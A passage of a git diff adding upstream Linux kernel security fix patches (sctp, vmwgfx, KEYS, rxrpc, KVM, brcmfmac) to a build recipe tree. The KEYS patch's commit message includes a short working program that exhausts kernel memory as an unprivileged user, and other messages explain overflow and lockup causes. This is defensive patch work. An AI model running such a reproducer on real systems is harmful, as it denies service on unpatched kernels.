dequeue_first((irda_queue_t**) &hashbin->hb_queue[i]); +- while (queue ) { +- if (free_func) +- (*free_func)(queue); +- queue = dequeue_first( +- (irda_queue_t**) &hashbin->hb_queue[i]); ++ while (1) { ++ queue = dequeue_first((irda_queue_t**) &hashbin->hb_queue[i]); ++ ++ if (!queue) ++ break; ++ ++ if (free_func) { ++ if (hashbin->hb_type & HB_LOCK) ++ spin_unlock_irqrestore(&hashbin->hb_spinlock, flags); ++ free_func(queue); ++ if (hashbin->hb_type & HB_LOCK) ++ spin_lock_irqsave(&hashbin->hb_spinlock, flags); ++ } + } + } + +@@ -422,12 +424,8 @@ + hashbin->magic = ~HB_MAGIC; + + /* Release lock */ +- if ( hashbin->hb_type & HB_LOCK) { ++ if (hashbin->hb_type & HB_LOCK) + spin_unlock_irqrestore(&hashbin->hb_spinlock, flags); +-#ifdef CONFIG_LOCKDEP +- hashbin_lock_depth--; +-#endif +- } + + /* + * Free the hashbin structure diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0215-02415182a92c-sctp deny peeloff operation on asocs with threads sleeping on it.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0215-02415182a92c-sctp deny peeloff operation on asocs with threads sleeping on it.patch new file mode 100644 index 0000000..4f28838 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0215-02415182a92c-sctp deny peeloff operation on asocs with threads sleeping on it.patch @@ -0,0 +1,68 @@ +From 02415182a92ccd72b60c22e723a56a74a566d2e7 Mon Sep 17 00:00:00 2001 +From: Marcelo Ricardo Leitner +Date: Thu, 23 Feb 2017 09:31:18 -0300 +Subject: sctp: deny peeloff operation on asocs with threads sleeping on it + +commit dfcb9f4f99f1e9a49e43398a7bfbf56927544af1 upstream. + +commit 2dcab5984841 ("sctp: avoid BUG_ON on sctp_wait_for_sndbuf") +attempted to avoid a BUG_ON call when the association being used for a +sendmsg() is blocked waiting for more sndbuf and another thread did a +peeloff operation on such asoc, moving it to another socket. + +As Ben Hutchings noticed, then in such case it would return without +locking back the socket and would cause two unlocks in a row. + +Further analysis also revealed that it could allow a double free if the +application managed to peeloff the asoc that is created during the +sendmsg call, because then sctp_sendmsg() would try to free the asoc +that was created only for that call. + +This patch takes another approach. It will deny the peeloff operation +if there is a thread sleeping on the asoc, so this situation doesn't +exist anymore. This avoids the issues described above and also honors +the syscalls that are already being handled (it can be multiple sendmsg +calls). + +Joint work with Xin Long. + +Fixes: 2dcab5984841 ("sctp: avoid BUG_ON on sctp_wait_for_sndbuf") +Cc: Alexander Popov +Cc: Ben Hutchings +Signed-off-by: Marcelo Ricardo Leitner +Signed-off-by: Xin Long +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/sctp/socket.c | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +diff --git a/net/sctp/socket.c b/net/sctp/socket.c +index 1e557ee4cd65..4a737666dbca 100644 +--- a/net/sctp/socket.c ++++ b/net/sctp/socket.c +@@ -4433,6 +4433,12 @@ int sctp_do_peeloff(struct sock *sk, sctp_assoc_t id, struct socket **sockp) + if (!asoc) + return -EINVAL; + ++ /* If there is a thread waiting on more sndbuf space for ++ * sending on this asoc, it cannot be peeled. ++ */ ++ if (waitqueue_active(&asoc->wait)) ++ return -EBUSY; ++ + /* An association cannot be branched off from an already peeled-off + * socket, nor is this supported for tcp style sockets. + */ +@@ -6965,8 +6971,6 @@ static int sctp_wait_for_sndbuf(struct sctp_association *asoc, long *timeo_p, + */ + release_sock(sk); + current_timeo = schedule_timeout(current_timeo); +- if (sk != asoc->base.sk) +- goto do_error; + lock_sock(sk); + + *timeo_p = current_timeo; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0216-6e7f776a49aa-drmvmwgfx NULL pointer dereference in vmwsurfacedefineioctl.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0216-6e7f776a49aa-drmvmwgfx NULL pointer dereference in vmwsurfacedefineioctl.patch new file mode 100644 index 0000000..2d5de43 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0216-6e7f776a49aa-drmvmwgfx NULL pointer dereference in vmwsurfacedefineioctl.patch @@ -0,0 +1,38 @@ +From 6e7f776a49aabe3c734f9d94ba2522961a91c6b7 Mon Sep 17 00:00:00 2001 +From: Murray McAllister +Date: Mon, 27 Mar 2017 11:12:53 +0200 +Subject: drm/vmwgfx: NULL pointer dereference in vmw_surface_define_ioctl() + +commit 36274ab8c596f1240c606bb514da329add2a1bcd upstream. + +Before memory allocations vmw_surface_define_ioctl() checks the +upper-bounds of a user-supplied size, but does not check if the +supplied size is 0. + +Add check to avoid NULL pointer dereferences. + +Signed-off-by: Murray McAllister +Reviewed-by: Sinclair Yeh +Signed-off-by: Greg Kroah-Hartman +--- + drivers/gpu/drm/vmwgfx/vmwgfx_surface.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c b/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c +index 4ecdbf3e59da..77c391248b11 100644 +--- a/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c ++++ b/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c +@@ -711,8 +711,8 @@ int vmw_surface_define_ioctl(struct drm_device *dev, void *data, + for (i = 0; i < DRM_VMW_MAX_SURFACE_FACES; ++i) + num_sizes += req->mip_levels[i]; + +- if (num_sizes > DRM_VMW_MAX_SURFACE_FACES * +- DRM_VMW_MAX_MIP_LEVELS) ++ if (num_sizes > DRM_VMW_MAX_SURFACE_FACES * DRM_VMW_MAX_MIP_LEVELS || ++ num_sizes == 0) + return -EINVAL; + + size = vmw_user_surface_size + 128 + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0217.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0217.diff new file mode 100644 index 0000000..ed294b7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0217.diff @@ -0,0 +1,14 @@ +diff --git a/drivers/hid/hid-cypress.c b/drivers/hid/hid-cypress.c +index c4ef3bc..e299576 100644 +--- a/drivers/hid/hid-cypress.c ++++ b/drivers/hid/hid-cypress.c +@@ -39,6 +39,9 @@ + if (!(quirks & CP_RDESC_SWAPPED_MIN_MAX)) + return rdesc; + ++ if (*rsize < 4) ++ return rdesc; ++ + for (i = 0; i < *rsize - 4; i++) + if (rdesc[i] == 0x29 && rdesc[i + 2] == 0x19) { + __u8 tmp; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0218-2e29dce3fd6c-drmvmwgfx fix integer overflow in vmwsurfacedefineioctl.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0218-2e29dce3fd6c-drmvmwgfx fix integer overflow in vmwsurfacedefineioctl.patch new file mode 100644 index 0000000..6e6f635 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0218-2e29dce3fd6c-drmvmwgfx fix integer overflow in vmwsurfacedefineioctl.patch @@ -0,0 +1,41 @@ +From 2e29dce3fd6c31f5d0e623e5a929c06d5436ee60 Mon Sep 17 00:00:00 2001 +From: Li Qiang +Date: Mon, 27 Mar 2017 20:10:53 -0700 +Subject: drm/vmwgfx: fix integer overflow in vmw_surface_define_ioctl() + +commit e7e11f99564222d82f0ce84bd521e57d78a6b678 upstream. + +In vmw_surface_define_ioctl(), the 'num_sizes' is the sum of the +'req->mip_levels' array. This array can be assigned any value from +the user space. As both the 'num_sizes' and the array is uint32_t, +it is easy to make 'num_sizes' overflow. The later 'mip_levels' is +used as the loop count. This can lead an oob write. Add the check of +'req->mip_levels' to avoid this. + +Signed-off-by: Li Qiang +Reviewed-by: Thomas Hellstrom +Signed-off-by: Greg Kroah-Hartman +--- + drivers/gpu/drm/vmwgfx/vmwgfx_surface.c | 5 ++++- + 1 file changed, 4 insertions(+), 1 deletion(-) + +diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c b/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c +index 76abe905e76d..75c3c2a1eb7f 100644 +--- a/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c ++++ b/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c +@@ -708,8 +708,11 @@ int vmw_surface_define_ioctl(struct drm_device *dev, void *data, + 128; + + num_sizes = 0; +- for (i = 0; i < DRM_VMW_MAX_SURFACE_FACES; ++i) ++ for (i = 0; i < DRM_VMW_MAX_SURFACE_FACES; ++i) { ++ if (req->mip_levels[i] > DRM_VMW_MAX_MIP_LEVELS) ++ return -EINVAL; + num_sizes += req->mip_levels[i]; ++ } + + if (num_sizes > DRM_VMW_MAX_SURFACE_FACES * DRM_VMW_MAX_MIP_LEVELS || + num_sizes == 0) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0219-e3648dc366b1-drmvmwgfx limit the number of mip levels in.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0219-e3648dc366b1-drmvmwgfx limit the number of mip levels in.patch new file mode 100644 index 0000000..bf065a7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0219-e3648dc366b1-drmvmwgfx limit the number of mip levels in.patch @@ -0,0 +1,39 @@ +From e3648dc366b1469972f02e023e38bf70f143dc0a Mon Sep 17 00:00:00 2001 +From: Vladis Dronov +Date: Fri, 2 Jun 2017 07:42:09 +0200 +Subject: drm/vmwgfx: limit the number of mip levels in + vmw_gb_surface_define_ioctl() + +commit ee9c4e681ec4f58e42a83cb0c22a0289ade1aacf upstream. + +The 'req->mip_levels' parameter in vmw_gb_surface_define_ioctl() is +a user-controlled 'uint32_t' value which is used as a loop count limit. +This can lead to a kernel lockup and DoS. Add check for 'req->mip_levels'. + +References: +https://bugzilla.redhat.com/show_bug.cgi?id=1437431 + +Signed-off-by: Vladis Dronov +Reviewed-by: Sinclair Yeh +Signed-off-by: Greg Kroah-Hartman +--- + drivers/gpu/drm/vmwgfx/vmwgfx_surface.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c b/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c +index 75c3c2a1eb7f..3f43f3ff528b 100644 +--- a/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c ++++ b/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c +@@ -1243,6 +1243,9 @@ int vmw_gb_surface_define_ioctl(struct drm_device *dev, void *data, + const struct svga3d_surface_desc *desc; + uint32_t backup_handle; + ++ if (req->mip_levels > DRM_VMW_MAX_MIP_LEVELS) ++ return -EINVAL; ++ + if (unlikely(vmw_user_surface_size == 0)) + vmw_user_surface_size = ttm_round_pot(sizeof(*user_srf)) + + 128; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0220-6efda2501976-KEYS fix keyctlsetreqkeykeyring to not leak thread keyrings.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0220-6efda2501976-KEYS fix keyctlsetreqkeykeyring to not leak thread keyrings.patch new file mode 100644 index 0000000..4bd8bdd --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0220-6efda2501976-KEYS fix keyctlsetreqkeykeyring to not leak thread keyrings.patch @@ -0,0 +1,182 @@ +From 6efda2501976288f10895834ba2782d0df093441 Mon Sep 17 00:00:00 2001 +From: Eric Biggers +Date: Tue, 18 Apr 2017 15:31:09 +0100 +Subject: KEYS: fix keyctl_set_reqkey_keyring() to not leak thread keyrings + +commit c9f838d104fed6f2f61d68164712e3204bf5271b upstream. + +This fixes CVE-2017-7472. + +Running the following program as an unprivileged user exhausts kernel +memory by leaking thread keyrings: + + #include + + int main() + { + for (;;) + keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING); + } + +Fix it by only creating a new thread keyring if there wasn't one before. +To make things more consistent, make install_thread_keyring_to_cred() +and install_process_keyring_to_cred() both return 0 if the corresponding +keyring is already present. + +Fixes: d84f4f992cbd ("CRED: Inaugurate COW credentials") +Signed-off-by: Eric Biggers +Signed-off-by: David Howells +Signed-off-by: Greg Kroah-Hartman +--- + security/keys/keyctl.c | 11 ++++------- + security/keys/process_keys.c | 44 +++++++++++++++++++++++++++----------------- + 2 files changed, 31 insertions(+), 24 deletions(-) + +diff --git a/security/keys/keyctl.c b/security/keys/keyctl.c +index af86b3566bede..1187d2f5e34b6 100644 +--- a/security/keys/keyctl.c ++++ b/security/keys/keyctl.c +@@ -1258,8 +1258,8 @@ error: + * Read or set the default keyring in which request_key() will cache keys and + * return the old setting. + * +- * If a process keyring is specified then this will be created if it doesn't +- * yet exist. The old setting will be returned if successful. ++ * If a thread or process keyring is specified then it will be created if it ++ * doesn't yet exist. The old setting will be returned if successful. + */ + long keyctl_set_reqkey_keyring(int reqkey_defl) + { +@@ -1284,11 +1284,8 @@ long keyctl_set_reqkey_keyring(int reqkey_defl) + + case KEY_REQKEY_DEFL_PROCESS_KEYRING: + ret = install_process_keyring_to_cred(new); +- if (ret < 0) { +- if (ret != -EEXIST) +- goto error; +- ret = 0; +- } ++ if (ret < 0) ++ goto error; + goto set; + + case KEY_REQKEY_DEFL_DEFAULT: +diff --git a/security/keys/process_keys.c b/security/keys/process_keys.c +index db91639c81e3a..162077db5f81c 100644 +--- a/security/keys/process_keys.c ++++ b/security/keys/process_keys.c +@@ -125,13 +125,18 @@ error: + } + + /* +- * Install a fresh thread keyring directly to new credentials. This keyring is +- * allowed to overrun the quota. ++ * Install a thread keyring to the given credentials struct if it didn't have ++ * one already. This is allowed to overrun the quota. ++ * ++ * Return: 0 if a thread keyring is now present; -errno on failure. + */ + int install_thread_keyring_to_cred(struct cred *new) + { + struct key *keyring; + ++ if (new->thread_keyring) ++ return 0; ++ + keyring = keyring_alloc("_tid", new->uid, new->gid, new, + KEY_POS_ALL | KEY_USR_VIEW, + KEY_ALLOC_QUOTA_OVERRUN, NULL); +@@ -143,7 +148,9 @@ int install_thread_keyring_to_cred(struct cred *new) + } + + /* +- * Install a fresh thread keyring, discarding the old one. ++ * Install a thread keyring to the current task if it didn't have one already. ++ * ++ * Return: 0 if a thread keyring is now present; -errno on failure. + */ + static int install_thread_keyring(void) + { +@@ -154,8 +161,6 @@ static int install_thread_keyring(void) + if (!new) + return -ENOMEM; + +- BUG_ON(new->thread_keyring); +- + ret = install_thread_keyring_to_cred(new); + if (ret < 0) { + abort_creds(new); +@@ -166,17 +171,17 @@ static int install_thread_keyring(void) + } + + /* +- * Install a process keyring directly to a credentials struct. ++ * Install a process keyring to the given credentials struct if it didn't have ++ * one already. This is allowed to overrun the quota. + * +- * Returns -EEXIST if there was already a process keyring, 0 if one installed, +- * and other value on any other error ++ * Return: 0 if a process keyring is now present; -errno on failure. + */ + int install_process_keyring_to_cred(struct cred *new) + { + struct key *keyring; + + if (new->process_keyring) +- return -EEXIST; ++ return 0; + + keyring = keyring_alloc("_pid", new->uid, new->gid, new, + KEY_POS_ALL | KEY_USR_VIEW, +@@ -189,11 +194,9 @@ int install_process_keyring_to_cred(struct cred *new) + } + + /* +- * Make sure a process keyring is installed for the current process. The +- * existing process keyring is not replaced. ++ * Install a process keyring to the current task if it didn't have one already. + * +- * Returns 0 if there is a process keyring by the end of this function, some +- * error otherwise. ++ * Return: 0 if a process keyring is now present; -errno on failure. + */ + static int install_process_keyring(void) + { +@@ -207,14 +210,18 @@ static int install_process_keyring(void) + ret = install_process_keyring_to_cred(new); + if (ret < 0) { + abort_creds(new); +- return ret != -EEXIST ? ret : 0; ++ return ret; + } + + return commit_creds(new); + } + + /* +- * Install a session keyring directly to a credentials struct. ++ * Install the given keyring as the session keyring of the given credentials ++ * struct, replacing the existing one if any. If the given keyring is NULL, ++ * then install a new anonymous session keyring. ++ * ++ * Return: 0 on success; -errno on failure. + */ + int install_session_keyring_to_cred(struct cred *cred, struct key *keyring) + { +@@ -249,8 +256,11 @@ int install_session_keyring_to_cred(struct cred *cred, struct key *keyring) + } + + /* +- * Install a session keyring, discarding the old one. If a keyring is not +- * supplied, an empty one is invented. ++ * Install the given keyring as the session keyring of the current task, ++ * replacing the existing one if any. If the given keyring is NULL, then ++ * install a new anonymous session keyring. ++ * ++ * Return: 0 on success; -errno on failure. + */ + static int install_session_keyring(struct key *keyring) + { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0221-9c3a8a0f69e0-rxrpc Fix several cases where a padded len isnt checked in ticket.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0221-9c3a8a0f69e0-rxrpc Fix several cases where a padded len isnt checked in ticket.patch new file mode 100644 index 0000000..207d7f5 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0221-9c3a8a0f69e0-rxrpc Fix several cases where a padded len isnt checked in ticket.patch @@ -0,0 +1,208 @@ +From 9c3a8a0f69e07fbbe31024ebe72b1c8d7607033e Mon Sep 17 00:00:00 2001 +From: David Howells +Date: Thu, 15 Jun 2017 00:12:24 +0100 +Subject: rxrpc: Fix several cases where a padded len isn't checked in ticket + decode +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit 5f2f97656ada8d811d3c1bef503ced266fcd53a0 upstream. + +This fixes CVE-2017-7482. + +When a kerberos 5 ticket is being decoded so that it can be loaded into an +rxrpc-type key, there are several places in which the length of a +variable-length field is checked to make sure that it's not going to +overrun the available data - but the data is padded to the nearest +four-byte boundary and the code doesn't check for this extra. This could +lead to the size-remaining variable wrapping and the data pointer going +over the end of the buffer. + +Fix this by making the various variable-length data checks use the padded +length. + +Reported-by: 石磊 +Signed-off-by: David Howells +Reviewed-by: Marc Dionne +Reviewed-by: Dan Carpenter +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/rxrpc/ar-key.c | 64 +++++++++++++++++++++++++++++------------------------- + 1 file changed, 34 insertions(+), 30 deletions(-) + +diff --git a/net/rxrpc/ar-key.c b/net/rxrpc/ar-key.c +index db0f39f5ef96..6851a6d98fce 100644 +--- a/net/rxrpc/ar-key.c ++++ b/net/rxrpc/ar-key.c +@@ -215,7 +215,7 @@ static int rxrpc_krb5_decode_principal(struct krb5_principal *princ, + unsigned int *_toklen) + { + const __be32 *xdr = *_xdr; +- unsigned int toklen = *_toklen, n_parts, loop, tmp; ++ unsigned int toklen = *_toklen, n_parts, loop, tmp, paddedlen; + + /* there must be at least one name, and at least #names+1 length + * words */ +@@ -245,16 +245,16 @@ static int rxrpc_krb5_decode_principal(struct krb5_principal *princ, + toklen -= 4; + if (tmp <= 0 || tmp > AFSTOKEN_STRING_MAX) + return -EINVAL; +- if (tmp > toklen) ++ paddedlen = (tmp + 3) & ~3; ++ if (paddedlen > toklen) + return -EINVAL; + princ->name_parts[loop] = kmalloc(tmp + 1, GFP_KERNEL); + if (!princ->name_parts[loop]) + return -ENOMEM; + memcpy(princ->name_parts[loop], xdr, tmp); + princ->name_parts[loop][tmp] = 0; +- tmp = (tmp + 3) & ~3; +- toklen -= tmp; +- xdr += tmp >> 2; ++ toklen -= paddedlen; ++ xdr += paddedlen >> 2; + } + + if (toklen < 4) +@@ -263,16 +263,16 @@ static int rxrpc_krb5_decode_principal(struct krb5_principal *princ, + toklen -= 4; + if (tmp <= 0 || tmp > AFSTOKEN_K5_REALM_MAX) + return -EINVAL; +- if (tmp > toklen) ++ paddedlen = (tmp + 3) & ~3; ++ if (paddedlen > toklen) + return -EINVAL; + princ->realm = kmalloc(tmp + 1, GFP_KERNEL); + if (!princ->realm) + return -ENOMEM; + memcpy(princ->realm, xdr, tmp); + princ->realm[tmp] = 0; +- tmp = (tmp + 3) & ~3; +- toklen -= tmp; +- xdr += tmp >> 2; ++ toklen -= paddedlen; ++ xdr += paddedlen >> 2; + + _debug("%s/...@%s", princ->name_parts[0], princ->realm); + +@@ -291,7 +291,7 @@ static int rxrpc_krb5_decode_tagged_data(struct krb5_tagged_data *td, + unsigned int *_toklen) + { + const __be32 *xdr = *_xdr; +- unsigned int toklen = *_toklen, len; ++ unsigned int toklen = *_toklen, len, paddedlen; + + /* there must be at least one tag and one length word */ + if (toklen <= 8) +@@ -305,15 +305,17 @@ static int rxrpc_krb5_decode_tagged_data(struct krb5_tagged_data *td, + toklen -= 8; + if (len > max_data_size) + return -EINVAL; ++ paddedlen = (len + 3) & ~3; ++ if (paddedlen > toklen) ++ return -EINVAL; + td->data_len = len; + + if (len > 0) { + td->data = kmemdup(xdr, len, GFP_KERNEL); + if (!td->data) + return -ENOMEM; +- len = (len + 3) & ~3; +- toklen -= len; +- xdr += len >> 2; ++ toklen -= paddedlen; ++ xdr += paddedlen >> 2; + } + + _debug("tag %x len %x", td->tag, td->data_len); +@@ -385,7 +387,7 @@ static int rxrpc_krb5_decode_ticket(u8 **_ticket, u16 *_tktlen, + const __be32 **_xdr, unsigned int *_toklen) + { + const __be32 *xdr = *_xdr; +- unsigned int toklen = *_toklen, len; ++ unsigned int toklen = *_toklen, len, paddedlen; + + /* there must be at least one length word */ + if (toklen <= 4) +@@ -397,6 +399,9 @@ static int rxrpc_krb5_decode_ticket(u8 **_ticket, u16 *_tktlen, + toklen -= 4; + if (len > AFSTOKEN_K5_TIX_MAX) + return -EINVAL; ++ paddedlen = (len + 3) & ~3; ++ if (paddedlen > toklen) ++ return -EINVAL; + *_tktlen = len; + + _debug("ticket len %u", len); +@@ -405,9 +410,8 @@ static int rxrpc_krb5_decode_ticket(u8 **_ticket, u16 *_tktlen, + *_ticket = kmemdup(xdr, len, GFP_KERNEL); + if (!*_ticket) + return -ENOMEM; +- len = (len + 3) & ~3; +- toklen -= len; +- xdr += len >> 2; ++ toklen -= paddedlen; ++ xdr += paddedlen >> 2; + } + + *_xdr = xdr; +@@ -550,7 +554,7 @@ static int rxrpc_preparse_xdr(struct key_preparsed_payload *prep) + { + const __be32 *xdr = prep->data, *token; + const char *cp; +- unsigned int len, tmp, loop, ntoken, toklen, sec_ix; ++ unsigned int len, paddedlen, loop, ntoken, toklen, sec_ix; + size_t datalen = prep->datalen; + int ret; + +@@ -576,22 +580,21 @@ static int rxrpc_preparse_xdr(struct key_preparsed_payload *prep) + if (len < 1 || len > AFSTOKEN_CELL_MAX) + goto not_xdr; + datalen -= 4; +- tmp = (len + 3) & ~3; +- if (tmp > datalen) ++ paddedlen = (len + 3) & ~3; ++ if (paddedlen > datalen) + goto not_xdr; + + cp = (const char *) xdr; + for (loop = 0; loop < len; loop++) + if (!isprint(cp[loop])) + goto not_xdr; +- if (len < tmp) +- for (; loop < tmp; loop++) +- if (cp[loop]) +- goto not_xdr; ++ for (; loop < paddedlen; loop++) ++ if (cp[loop]) ++ goto not_xdr; + _debug("cellname: [%u/%u] '%*.*s'", +- len, tmp, len, len, (const char *) xdr); +- datalen -= tmp; +- xdr += tmp >> 2; ++ len, paddedlen, len, len, (const char *) xdr); ++ datalen -= paddedlen; ++ xdr += paddedlen >> 2; + + /* get the token count */ + if (datalen < 12) +@@ -612,10 +615,11 @@ static int rxrpc_preparse_xdr(struct key_preparsed_payload *prep) + sec_ix = ntohl(*xdr); + datalen -= 4; + _debug("token: [%x/%zx] %x", toklen, datalen, sec_ix); +- if (toklen < 20 || toklen > datalen) ++ paddedlen = (toklen + 3) & ~3; ++ if (toklen < 20 || toklen > datalen || paddedlen > datalen) + goto not_xdr; +- datalen -= (toklen + 3) & ~3; +- xdr += (toklen + 3) >> 2; ++ datalen -= paddedlen; ++ xdr += paddedlen >> 2; + + } while (--loop > 0); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0222.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0222.diff new file mode 100644 index 0000000..02323d7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0222.diff @@ -0,0 +1,104 @@ +diff --git a/arch/x86/include/asm/kvm_emulate.h b/arch/x86/include/asm/kvm_emulate.h +index eb18117..e8e6aac 100644 +--- a/arch/x86/include/asm/kvm_emulate.h ++++ b/arch/x86/include/asm/kvm_emulate.h +@@ -276,6 +276,7 @@ + bool guest_mode; /* guest running a nested guest */ + bool perm_ok; /* do not check permissions if true */ + bool ud; /* inject an #UD if host doesn't support insn */ ++ bool tf; /* TF value before instruction (after for syscall/sysret) */ + + bool have_exception; + struct x86_exception exception; +diff --git a/arch/x86/kvm/emulate.c b/arch/x86/kvm/emulate.c +index ca68dc0..5a258cd 100644 +--- a/arch/x86/kvm/emulate.c ++++ b/arch/x86/kvm/emulate.c +@@ -2365,6 +2365,7 @@ + ctxt->eflags &= ~(EFLG_VM | EFLG_IF); + } + ++ ctxt->tf = (ctxt->eflags & X86_EFLAGS_TF) != 0; + return X86EMUL_CONTINUE; + } + +diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c +index ef9a34e..f77245d 100644 +--- a/arch/x86/kvm/x86.c ++++ b/arch/x86/kvm/x86.c +@@ -5114,6 +5114,8 @@ + kvm_x86_ops->get_cs_db_l_bits(vcpu, &cs_db, &cs_l); + + ctxt->eflags = kvm_get_rflags(vcpu); ++ ctxt->tf = (ctxt->eflags & X86_EFLAGS_TF) != 0; ++ + ctxt->eip = kvm_rip_read(vcpu); + ctxt->mode = (!is_protmode(vcpu)) ? X86EMUL_MODE_REAL : + (ctxt->eflags & X86_EFLAGS_VM) ? X86EMUL_MODE_VM86 : +@@ -5304,37 +5306,26 @@ + return dr6; + } + +-static void kvm_vcpu_check_singlestep(struct kvm_vcpu *vcpu, unsigned long rflags, int *r) ++static void kvm_vcpu_do_singlestep(struct kvm_vcpu *vcpu, int *r) + { + struct kvm_run *kvm_run = vcpu->run; + +- /* +- * rflags is the old, "raw" value of the flags. The new value has +- * not been saved yet. +- * +- * This is correct even for TF set by the guest, because "the +- * processor will not generate this exception after the instruction +- * that sets the TF flag". +- */ +- if (unlikely(rflags & X86_EFLAGS_TF)) { +- if (vcpu->guest_debug & KVM_GUESTDBG_SINGLESTEP) { +- kvm_run->debug.arch.dr6 = DR6_BS | DR6_FIXED_1 | +- DR6_RTM; +- kvm_run->debug.arch.pc = vcpu->arch.singlestep_rip; +- kvm_run->debug.arch.exception = DB_VECTOR; +- kvm_run->exit_reason = KVM_EXIT_DEBUG; +- *r = EMULATE_USER_EXIT; +- } else { +- vcpu->arch.emulate_ctxt.eflags &= ~X86_EFLAGS_TF; +- /* +- * "Certain debug exceptions may clear bit 0-3. The +- * remaining contents of the DR6 register are never +- * cleared by the processor". +- */ +- vcpu->arch.dr6 &= ~15; +- vcpu->arch.dr6 |= DR6_BS | DR6_RTM; +- kvm_queue_exception(vcpu, DB_VECTOR); +- } ++ if (vcpu->guest_debug & KVM_GUESTDBG_SINGLESTEP) { ++ kvm_run->debug.arch.dr6 = DR6_BS | DR6_FIXED_1 | DR6_RTM; ++ kvm_run->debug.arch.pc = vcpu->arch.singlestep_rip; ++ kvm_run->debug.arch.exception = DB_VECTOR; ++ kvm_run->exit_reason = KVM_EXIT_DEBUG; ++ *r = EMULATE_USER_EXIT; ++ } else { ++ vcpu->arch.emulate_ctxt.eflags &= ~X86_EFLAGS_TF; ++ /* ++ * "Certain debug exceptions may clear bit 0-3. The ++ * remaining contents of the DR6 register are never ++ * cleared by the processor". ++ */ ++ vcpu->arch.dr6 &= ~15; ++ vcpu->arch.dr6 |= DR6_BS | DR6_RTM; ++ kvm_queue_exception(vcpu, DB_VECTOR); + } + } + +@@ -5502,8 +5493,9 @@ + toggle_interruptibility(vcpu, ctxt->interruptibility); + vcpu->arch.emulate_regs_need_sync_to_vcpu = false; + kvm_rip_write(vcpu, ctxt->eip); +- if (r == EMULATE_DONE) +- kvm_vcpu_check_singlestep(vcpu, rflags, &r); ++ if (r == EMULATE_DONE && ++ (ctxt->tf || (vcpu->guest_debug & KVM_GUESTDBG_SINGLESTEP))) ++ kvm_vcpu_do_singlestep(vcpu, &r); + __kvm_set_rflags(vcpu, ctxt->eflags); + + /* diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0223-ae10cf5c80b8-brcmfmac fix possible buffer overflow in brcmfcfg80211mgmttx.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0223-ae10cf5c80b8-brcmfmac fix possible buffer overflow in brcmfcfg80211mgmttx.patch new file mode 100644 index 0000000..d8c4f4a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0223-ae10cf5c80b8-brcmfmac fix possible buffer overflow in brcmfcfg80211mgmttx.patch @@ -0,0 +1,47 @@ +From ae10cf5c80b897b3a46ef1bdf77a52dd84bd336d Mon Sep 17 00:00:00 2001 +From: Arend van Spriel +Date: Fri, 7 Jul 2017 21:09:06 +0100 +Subject: brcmfmac: fix possible buffer overflow in brcmf_cfg80211_mgmt_tx() +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit 8f44c9a41386729fea410e688959ddaa9d51be7c upstream. + +The lower level nl80211 code in cfg80211 ensures that "len" is between +25 and NL80211_ATTR_FRAME (2304). We subtract DOT11_MGMT_HDR_LEN (24) from +"len" so thats's max of 2280. However, the action_frame->data[] buffer is +only BRCMF_FIL_ACTION_FRAME_SIZE (1800) bytes long so this memcpy() can +overflow. + + memcpy(action_frame->data, &buf[DOT11_MGMT_HDR_LEN], + le16_to_cpu(action_frame->len)); + +Fixes: 18e2f61db3b70 ("brcmfmac: P2P action frame tx.") +Reported-by: "freenerguo(郭大兴)" +Signed-off-by: Arend van Spriel +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman 